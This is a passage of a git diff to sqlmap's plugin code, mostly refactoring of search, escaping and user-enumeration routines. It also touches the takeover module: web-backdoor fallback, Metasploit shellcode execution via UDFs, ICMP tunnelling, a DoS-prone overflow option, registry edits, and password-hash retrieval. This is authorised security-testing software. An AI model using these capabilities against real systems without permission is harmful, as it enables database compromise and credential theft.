Backend.isDbms(DBMS.PGSQL): - first, last = 12, 6 - - elif Backend.isDbms(DBMS.MSSQL): - first, last = 29, 9 - - else: - raise SqlmapUnsupportedFeatureException("unsupported DBMS") - - query = queries[Backend.getIdentifiedDbms()].substring.query % (queries[Backend.getIdentifiedDbms()].banner.query, first, last) + query = queries[Backend.getIdentifiedDbms()].banner.query if conf.direct: query = "SELECT %s" % query - kb.bannerFp["dbmsVersion"] = unArrayizeValue(inject.getValue(query)) - kb.bannerFp["dbmsVersion"] = (kb.bannerFp["dbmsVersion"] or "").replace(",", "").replace("-", "").replace(" ", "") + kb.bannerFp["dbmsVersion"] = unArrayizeValue(inject.getValue(query)) or "" + + match = re.search(r"\d[\d.-]*", kb.bannerFp["dbmsVersion"]) + if match: + kb.bannerFp["dbmsVersion"] = match.group(0) def delRemoteFile(self, filename): if not filename: @@ -137,7 +127,10 @@ def cleanup(self, onlyFileTbl=False, udfDict=None, web=False): self.delRemoteFile(self.webStagerFilePath) self.delRemoteFile(self.webBackdoorFilePath) - if not isStackingAvailable() and not conf.direct: + if (not isStackingAvailable() or kb.udfFail) and not conf.direct: + return + + if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and kb.copyExecTest: return if Backend.isOs(OS.WINDOWS): @@ -162,16 +155,15 @@ def cleanup(self, onlyFileTbl=False, udfDict=None, web=False): inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True) if Backend.isDbms(DBMS.MSSQL): - udfDict = {"master..new_xp_cmdshell": None} + udfDict = {"master..new_xp_cmdshell": {}} if udfDict is None: - udfDict = self.sysUdfs + udfDict = getattr(self, "sysUdfs", {}) for udf, inpRet in udfDict.items(): message = "do you want to remove UDF '%s'? [Y/n] " % udf - output = readInput(message, default="Y") - if not output or output in ("y", "Y"): + if readInput(message, default='Y', boolean=True): dropStr = "DROP FUNCTION %s" % udf if Backend.isDbms(DBMS.PGSQL): @@ -191,7 +183,7 @@ def cleanup(self, onlyFileTbl=False, udfDict=None, web=False): warnMsg += "saved on the file system can only be deleted " warnMsg += "manually" - logger.warn(warnMsg) + logger.warning(warnMsg) def likeOrExact(self, what): message = "do you want sqlmap to consider provided %s(s):\n" % what diff --git a/plugins/generic/search.py b/plugins/generic/search.py index 0069a1af378..5ec72f18ff2 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -1,10 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import re + from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend @@ -32,11 +34,13 @@ from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.core.settings import METADB_SUFFIX +from lib.core.settings import UPPER_CASE_DBMSES from lib.request import inject -from lib.techniques.brute.use import columnExists -from lib.techniques.brute.use import tableExists +from lib.utils.brute import columnExists +from lib.utils.brute import tableExists +from thirdparty import six -class Search: +class Search(object): """ This class defines search functionalities for plugins. """ @@ -47,7 +51,7 @@ def __init__(self): def searchDb(self): foundDbs = [] rootQuery = queries[Backend.getIdentifiedDbms()].search_db - dbList = conf.db.split(",") + dbList = conf.db.split(',') if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: dbCond = rootQuery.inband.condition2 @@ -60,7 +64,7 @@ def searchDb(self): values = [] db = safeSQLIdentificatorNaming(db) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: db = db.upper() infoMsg = "searching database" @@ -115,7 +119,7 @@ def searchDb(self): if dbConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) + logger.warning(warnMsg) continue @@ -145,19 +149,19 @@ def searchTable(self): bruteForce = True if bruteForce: - message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") - test = readInput(message, default="Y" if "Y" in message else "N") + message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") + choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() - if test[0] in ("n", "N"): + if choice == 'N': return - elif test[0] in ("q", "Q"): + elif choice == 'Q': raise SqlmapUserQuitException else: - regex = "|".join(conf.tbl.split(",")) + regex = '|'.join(conf.tbl.split(',')) return tableExists(paths.COMMON_TABLES, regex) foundTbls = {} - tblList = conf.tbl.split(",") + tblList = conf.tbl.split(',') rootQuery = queries[Backend.getIdentifiedDbms()].search_table tblCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition2 @@ -167,25 +171,32 @@ def searchTable(self): values = [] tbl = safeSQLIdentificatorNaming(tbl, True) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: tbl = tbl.upper() + conf.db = conf.db.upper() if conf.db else conf.db infoMsg = "searching table" - if tblConsider == "1": + if tblConsider == '1': infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) - if dbCond and conf.db and conf.db != CURRENT_DB: - _ = conf.db.split(",") + if conf.db == CURRENT_DB: + conf.db = self.getCurrentDb() + + if dbCond and conf.db: + _ = conf.db.split(',') whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) elif conf.excludeSysDbs: whereDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) - infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) - logger.info(infoMsg2) + msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) + logger.info(msg) else: whereDbsQuery = "" + if dbCond and conf.exclude: + whereDbsQuery += " AND %s NOT LIKE '%s'" % (dbCond, re.sub(r"\.[*+]", '%', conf.exclude._original)) + logger.info(infoMsg) tblQuery = "%s%s" % (tblCond, tblCondParam) @@ -200,7 +211,7 @@ def searchTable(self): if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): newValues = [] - if isinstance(values, basestring): + if isinstance(values, six.string_types): values = [values] for value in values: dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" @@ -238,7 +249,7 @@ def searchTable(self): if tblConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) - logger.warn(warnMsg) + logger.warning(warnMsg) continue @@ -261,7 +272,7 @@ def searchTable(self): if tblConsider == "2": continue else: - for db in conf.db.split(",") if conf.db else (self.getCurrentDb(),): + for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),): db = safeSQLIdentificatorNaming(db) if db not in foundTbls: foundTbls[db] = [] @@ -269,7 +280,7 @@ def searchTable(self): dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = [] - for db in foundTbls.keys(): + for db in foundTbls: db = safeSQLIdentificatorNaming(db) infoMsg = "fetching number of table" @@ -291,7 +302,7 @@ def searchTable(self): warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) + logger.warning(warnMsg) continue @@ -300,7 +311,9 @@ def searchTable(self): for index in indexRange: query = rootQuery.blind.query2 - if query.endswith("'%s')"): + if " ORDER BY " in query: + query = query.replace(" ORDER BY ", "%s ORDER BY " % (" AND %s" % tblQuery)) + elif query.endswith("'%s')"): query = query[:-1] + " AND %s)" % tblQuery else: query += " AND %s" % tblQuery @@ -320,13 +333,13 @@ def searchTable(self): foundTbl = safeSQLIdentificatorNaming(foundTbl, True) foundTbls[db].append(foundTbl) - for db in foundTbls.keys(): + for db in list(foundTbls.keys()): if isNoneValue(foundTbls[db]): del foundTbls[db] if not foundTbls: warnMsg = "no databases contain any of the provided tables" - logger.warn(warnMsg) + logger.warning(warnMsg) return conf.dumper.dbTables(foundTbls) @@ -335,27 +348,28 @@ def searchTable(self): def searchColumn(self): bruteForce = False + self.forceDbmsEnum() + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" bruteForce = True if bruteForce: - message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") - test = readInput(message, default="Y" if "Y" in message else "N") + message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") + choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() - if test[0] in ("n", "N"): + if choice == 'N': return - elif test[0] in ("q", "Q"): + elif choice == 'Q': raise SqlmapUserQuitException else: regex = '|'.join(conf.col.split(',')) conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex)) message = "do you want to dump entries? [Y/n] " - output = readInput(message, default="Y") - if output and output[0] not in ("n", "N"): + if readInput(message, default='Y', boolean=True): self.dumpAll() return @@ -367,10 +381,10 @@ def searchColumn(self): whereTblsQuery = "" infoMsgTbl = "" infoMsgDb = "" - colList = conf.col.split(",") + colList = conf.col.split(',') - if conf.excludeCol: - colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + if conf.exclude: + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] origTbl = conf.tbl origDb = conf.db @@ -385,8 +399,10 @@ def searchColumn(self): conf.db = origDb conf.tbl = origTbl - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: column = column.upper() + conf.db = conf.db.upper() if conf.db else conf.db + conf.tbl = conf.tbl.upper() if conf.tbl else conf.tbl infoMsg = "searching column" if colConsider == "1": @@ -395,21 +411,31 @@ def searchColumn(self): foundCols[column] = {} - if conf.tbl: - _ = conf.tbl.split(",") - whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" - infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _)) + if tblCond: + if conf.tbl: + tbls = conf.tbl.split(',') + if conf.exclude: + tbls = [_ for _ in tbls if re.search(conf.exclude, _, re.I) is None] + whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in tbls) + ")" + infoMsgTbl = " for table%s '%s'" % ("s" if len(tbls) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in tbls)) + + if conf.db == CURRENT_DB: + conf.db = self.getCurrentDb() + + if dbCond: + if conf.db: + _ = conf.db.split(',') + whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" + infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _)) + elif conf.excludeSysDbs: + whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList) + msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) + logger.info(msg) + else: + infoMsgDb = " across all databases" - if conf.db and conf.db != CURRENT_DB: - _ = conf.db.split(",") - whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" - infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _)) - elif conf.excludeSysDbs: - whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList) - infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) - logger.info(infoMsg2) - else: - infoMsgDb = " across all databases" + if conf.exclude: + whereDbsQuery += " AND %s NOT LIKE '%s'" % (dbCond, re.sub(r"\.[*+]", '%', conf.exclude._original)) logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) @@ -428,13 +454,13 @@ def searchColumn(self): # column(s) provided values = [] - for db in conf.db.split(","): - for tbl in conf.tbl.split(","): + for db in conf.db.split(','): + for tbl in conf.tbl.split(','): values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)]) for db, tbl in filterPairValues(values): db = safeSQLIdentificatorNaming(db) - tbls = tbl.split(",") if not isNoneValue(tbl) else [] + tbls = tbl.split(',') if not isNoneValue(tbl) else [] for tbl in tbls: tbl = safeSQLIdentificatorNaming(tbl, True) @@ -481,7 +507,7 @@ def searchColumn(self): if colConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) - logger.warn("%s%s" % (warnMsg, infoMsgTbl)) + logger.warning("%s%s" % (warnMsg, infoMsgTbl)) continue @@ -501,7 +527,7 @@ def searchColumn(self): if db not in foundCols[column]: foundCols[column][db] = [] else: - for db in conf.db.split(",") if conf.db else (self.getCurrentDb(),): + for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),): db = safeSQLIdentificatorNaming(db) if db not in foundCols[column]: foundCols[column][db] = [] @@ -524,8 +550,12 @@ def searchColumn(self): logger.info(infoMsg) query = rootQuery.blind.count2 - query = query % unsafeSQLIdentificatorNaming(db) - query += " AND %s" % colQuery + if not re.search(r"(?i)%s\Z" % METADB_SUFFIX, db or ""): + query = query % unsafeSQLIdentificatorNaming(db) + query += " AND %s" % colQuery + else: + query = query % colQuery + query += whereTblsQuery count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) @@ -536,7 +566,7 @@ def searchColumn(self): warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(column) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) + logger.warning(warnMsg) continue @@ -545,8 +575,12 @@ def searchColumn(self): for index in indexRange: query = rootQuery.blind.query2 - if query.endswith("'%s')"): + if re.search(r"(?i)%s\Z" % METADB_SUFFIX, db or ""): + query = query % (colQuery + whereTblsQuery) + elif query.endswith("'%s')"): query = query[:-1] + " AND %s)" % (colQuery + whereTblsQuery) + elif " ORDER BY " in query: + query = query.replace(" ORDER BY ", " AND %s ORDER BY " % (colQuery + whereTblsQuery)) else: query += " AND %s" % (colQuery + whereTblsQuery) @@ -586,10 +620,10 @@ def searchColumn(self): else: warnMsg = "no databases have tables containing any of the " warnMsg += "provided columns" - logger.warn(warnMsg) + logger.warning(warnMsg) def search(self): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: for item in ('db', 'tbl', 'col'): if getattr(conf, item, None): setattr(conf, item, getattr(conf, item).upper()) diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index 42a67bd9db2..1202771fdbc 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -1,15 +1,19 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re +from lib.core.common import Backend +from lib.core.convert import getBytes +from lib.core.data import conf +from lib.core.enums import DBMS from lib.core.exception import SqlmapUndefinedMethod -class Syntax: +class Syntax(object): """ This class defines generic syntax functionalities for plugins. """ @@ -22,10 +26,21 @@ def _escape(expression, quote=True, escaper=None): retVal = expression if quote: - for item in re.findall(r"'[^']*'+", expression, re.S): - _ = item[1:-1] - if _: - retVal = retVal.replace(item, escaper(_)) + # Match a full SQL string literal, honouring the '' (doubled single quote) escape - e.g. + # 'a''b' is ONE literal whose value is a'b, not 'a'' followed by a dangling b'. The old + # r"'[^']*'+" split on the inner '' and left the tail bare, corrupting the encoded payload. + for item in re.findall(r"'(?:[^']|'')*'", expression): + value = item[1:-1].replace("''", "'") # inner content with '' collapsed to the real quote + if value: + if Backend.isDbms(DBMS.SQLITE) and "X%s" % item in expression: + continue + if re.search(r"\[(SLEEPTIME|RAND)", value) is None: # e.g. '[SLEEPTIME]' marker + replacement = escaper(value) if not conf.noEscape else value + + if replacement != value: + retVal = retVal.replace(item, replacement) + elif len(value) != len(getBytes(value)) and "n%s" % item not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): + retVal = retVal.replace(item, "n%s" % item) else: retVal = escaper(expression) diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index d3a782fcbf2..8bf7d185362 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -1,17 +1,21 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os from lib.core.common import Backend +from lib.core.common import getSafeExString +from lib.core.common import isDigit from lib.core.common import isStackingAvailable +from lib.core.common import openFile from lib.core.common import readInput from lib.core.common import runningAsAdmin from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS @@ -20,6 +24,7 @@ from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapMissingPrivileges from lib.core.exception import SqlmapNotVulnerableException +from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUndefinedMethod from lib.core.exception import SqlmapUnsupportedDBMSException from lib.takeover.abstraction import Abstraction @@ -27,15 +32,13 @@ from lib.takeover.metasploit import Metasploit from lib.takeover.registry import Registry -from plugins.generic.misc import Miscellaneous - -class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): +class Takeover(Abstraction, Metasploit, ICMPsh, Registry): """ This class defines generic OS takeover functionalities for plugins. """ def __init__(self): - self.cmdTblName = "sqlmapoutput" + self.cmdTblName = ("%soutput" % conf.tablePrefix) self.tblField = "data" Abstraction.__init__(self) @@ -77,7 +80,20 @@ def osShell(self): raise SqlmapNotVulnerableException(errMsg) self.getRemoteTempPath() - self.initEnv(web=web) + + try: + self.initEnv(web=web) + except SqlmapFilePathException: + if not web and not conf.direct: + infoMsg = "falling back to web backdoor method..." + logger.info(infoMsg) + + web = True + kb.udfFail = True + + self.initEnv(web=web) + else: + raise if not web or (web and self.webBackdoorUrl is not None): self.shell() @@ -96,21 +112,17 @@ def osPwn(self): msg = "how do you want to establish the tunnel?" msg += "\n[1] TCP: Metasploit Framework (default)" msg += "\n[2] ICMP: icmpsh - ICMP tunneling" - valids = (1, 2) while True: - tunnel = readInput(msg, default=1) + tunnel = readInput(msg, default='1') - if isinstance(tunnel, basestring) and tunnel.isdigit() and int(tunnel) in valids: + if isDigit(tunnel) and int(tunnel) in (1, 2): tunnel = int(tunnel) break - elif isinstance(tunnel, int) and tunnel in valids: - break - else: - warnMsg = "invalid value, valid values are 1 and 2" - logger.warn(warnMsg) + warnMsg = "invalid value, valid values are '1' and '2'" + logger.warning(warnMsg) else: tunnel = 1 @@ -129,20 +141,23 @@ def osPwn(self): raise SqlmapMissingPrivileges(errMsg) try: - from impacket import ImpactDecoder - from impacket import ImpactPacket + __import__("impacket") except ImportError: errMsg = "sqlmap requires 'python-impacket' third-party library " errMsg += "in order to run icmpsh master. You can get it at " - errMsg += "http://code.google.com/p/impacket/downloads/list" + errMsg += "https://github.com/SecureAuthCorp/impacket" raise SqlmapMissingDependence(errMsg) - sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all" + filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all" - if os.path.exists(sysIgnoreIcmp): - fp = open(sysIgnoreIcmp, "wb") - fp.write("1") - fp.close() + if os.path.exists(filename): + try: + with openFile(filename, "wb") as f: + f.write(b"1") + except IOError as ex: + errMsg = "there has been a file opening/writing error " + errMsg += "for filename '%s' ('%s')" % (filename, getSafeExString(ex)) + raise SqlmapSystemException(errMsg) else: errMsg = "you need to disable ICMP replies by your machine " errMsg += "system-wide. For example run on Linux/Unix:\n" @@ -167,21 +182,18 @@ def osPwn(self): msg = "how do you want to execute the Metasploit shellcode " msg += "on the back-end database underlying operating system?" msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" - msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)" + msg += "\n[2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)" while True: - choice = readInput(msg, default=1) + choice = readInput(msg, default='1') - if isinstance(choice, basestring) and choice.isdigit() and int(choice) in (1, 2): + if isDigit(choice) and int(choice) in (1, 2): choice = int(choice) break - elif isinstance(choice, int) and choice in (1, 2): - break - else: - warnMsg = "invalid value, valid values are 1 and 2" - logger.warn(warnMsg) + warnMsg = "invalid value, valid values are '1' and '2'" + logger.warning(warnMsg) if choice == 1: goUdf = True @@ -239,7 +251,7 @@ def osPwn(self): warnMsg = "sqlmap does not implement any operating system " warnMsg += "user privilege escalation technique when the " warnMsg += "back-end DBMS underlying system is not Windows" - logger.warn(warnMsg) + logger.warning(warnMsg) if tunnel == 1: self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") @@ -314,7 +326,7 @@ def osSmb(self): printWarn = False if printWarn: - logger.warn(warnMsg) + logger.warning(warnMsg) self.smb() @@ -336,11 +348,8 @@ def osBof(self): msg = "this technique is likely to DoS the DBMS process, are you " msg += "sure that you want to carry with the exploit? [y/N] " - choice = readInput(msg, default="N") - - dos = choice and choice[0].lower() == "y" - if dos: + if readInput(msg, default='N', boolean=True): self.initEnv(mandatory=False, detailed=True) self.getRemoteTempPath() self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) @@ -382,7 +391,7 @@ def regRead(self): else: regVal = conf.regVal - infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal) + infoMsg = "reading Windows registry path '%s\\%s' " % (regKey, regVal) logger.info(infoMsg) return self.readRegKey(regKey, regVal, True) @@ -427,7 +436,7 @@ def regAdd(self): else: regType = conf.regType - infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal) + infoMsg = "adding Windows registry path '%s\\%s' " % (regKey, regVal) infoMsg += "with data '%s'. " % regData infoMsg += "This will work only if the user running the database " infoMsg += "process has privileges to modify the Windows registry." @@ -459,13 +468,12 @@ def regDel(self): regVal = conf.regVal message = "are you sure that you want to delete the Windows " - message += "registry path '%s\%s? [y/N] " % (regKey, regVal) - output = readInput(message, default="N") + message += "registry path '%s\\%s? [y/N] " % (regKey, regVal) - if output and output[0] not in ("Y", "y"): + if not readInput(message, default='N', boolean=True): return - infoMsg = "deleting Windows registry path '%s\%s'. " % (regKey, regVal) + infoMsg = "deleting Windows registry path '%s\\%s'. " % (regKey, regVal) infoMsg += "This will work only if the user running the database " infoMsg += "process has privileges to modify the Windows registry." logger.info(infoMsg) diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 41081dac115..e22c96d5aff 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re @@ -12,38 +12,45 @@ from lib.core.common import Backend from lib.core.common import filterPairValues from lib.core.common import getLimitRange -from lib.core.common import getUnicode from lib.core.common import isAdminFromPrivileges +from lib.core.common import isDBMSVersionAtLeast from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue +from lib.core.common import isNullValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import parsePasswordHash -from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import unArrayizeValue -from lib.core.convert import hexencode +from lib.core.compat import xrange +from lib.core.convert import encodeHex +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries +from lib.core.dicts import DB2_PRIVS +from lib.core.dicts import FIREBIRD_PRIVS +from lib.core.dicts import INFORMIX_PRIVS from lib.core.dicts import MYSQL_PRIVS from lib.core.dicts import PGSQL_PRIVS -from lib.core.dicts import FIREBIRD_PRIVS -from lib.core.dicts import DB2_PRIVS from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED +from lib.core.enums import FORK from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import CURRENT_USER +from lib.core.settings import PLUS_ONE_DBMSES from lib.core.threads import getCurrentThreadData from lib.request import inject from lib.utils.hash import attackCachedUsersPasswords from lib.utils.hash import storeHashesToFile from lib.utils.pivotdumptable import pivotDumpTable +from thirdparty.six.moves import zip as _zip -class Users: +class Users(object): """ This class defines users' enumeration functionalities for plugins. """ @@ -71,16 +78,22 @@ def isDba(self, user=None): infoMsg = "testing if current user is DBA" logger.info(infoMsg) + query = None + if Backend.isDbms(DBMS.MYSQL): self.getCurrentUser() - query = queries[Backend.getIdentifiedDbms()].is_dba.query % (kb.data.currentUser.split("@")[0] if kb.data.currentUser else None) + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + kb.data.isDba = "root" in (kb.data.currentUser or "") + elif kb.data.currentUser: + query = queries[Backend.getIdentifiedDbms()].is_dba.query % kb.data.currentUser.split("@")[0] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None: query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user else: query = queries[Backend.getIdentifiedDbms()].is_dba.query - query = agent.forgeCaseStatement(query) - kb.data.isDba = inject.checkBooleanExpression(query) or False + if query: + query = agent.forgeCaseStatement(query) + kb.data.isDba = inject.checkBooleanExpression(query) or False return kb.data.isDba @@ -92,12 +105,16 @@ def getUsers(self): condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008"))) condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema) + condition |= (Backend.isDbms(DBMS.H2) and not isDBMSVersionAtLeast("2")) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: - if condition: + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = rootQuery.inband.query3 + elif condition: query = rootQuery.inband.query2 else: query = rootQuery.inband.query + values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): @@ -111,7 +128,9 @@ def getUsers(self): infoMsg = "fetching number of database users" logger.info(infoMsg) - if condition: + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = rootQuery.blind.count3 + elif condition: query = rootQuery.blind.count2 else: query = rootQuery.blind.count @@ -124,16 +143,19 @@ def getUsers(self): errMsg = "unable to retrieve the number of database users" raise SqlmapNoneDataException(errMsg) - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB): query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") + elif Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = rootQuery.blind.query3 % index elif condition: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index + user = unArrayizeValue(inject.getValue(query, union=False, error=False)) if user: @@ -150,7 +172,7 @@ def getPasswordHashes(self): rootQuery = queries[Backend.getIdentifiedDbms()].passwords - if conf.user == "CU": + if conf.user == CURRENT_USER: infoMsg += " for current user" conf.user = self.getCurrentUser() @@ -160,18 +182,18 @@ def getPasswordHashes(self): conf.user = conf.user.upper() if conf.user: - users = conf.user.split(",") + users = conf.user.split(',') if Backend.isDbms(DBMS.MYSQL): for user in users: - parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) + parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] - users = filter(None, users) + users = [_ for _ in users if _] if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): @@ -182,17 +204,16 @@ def 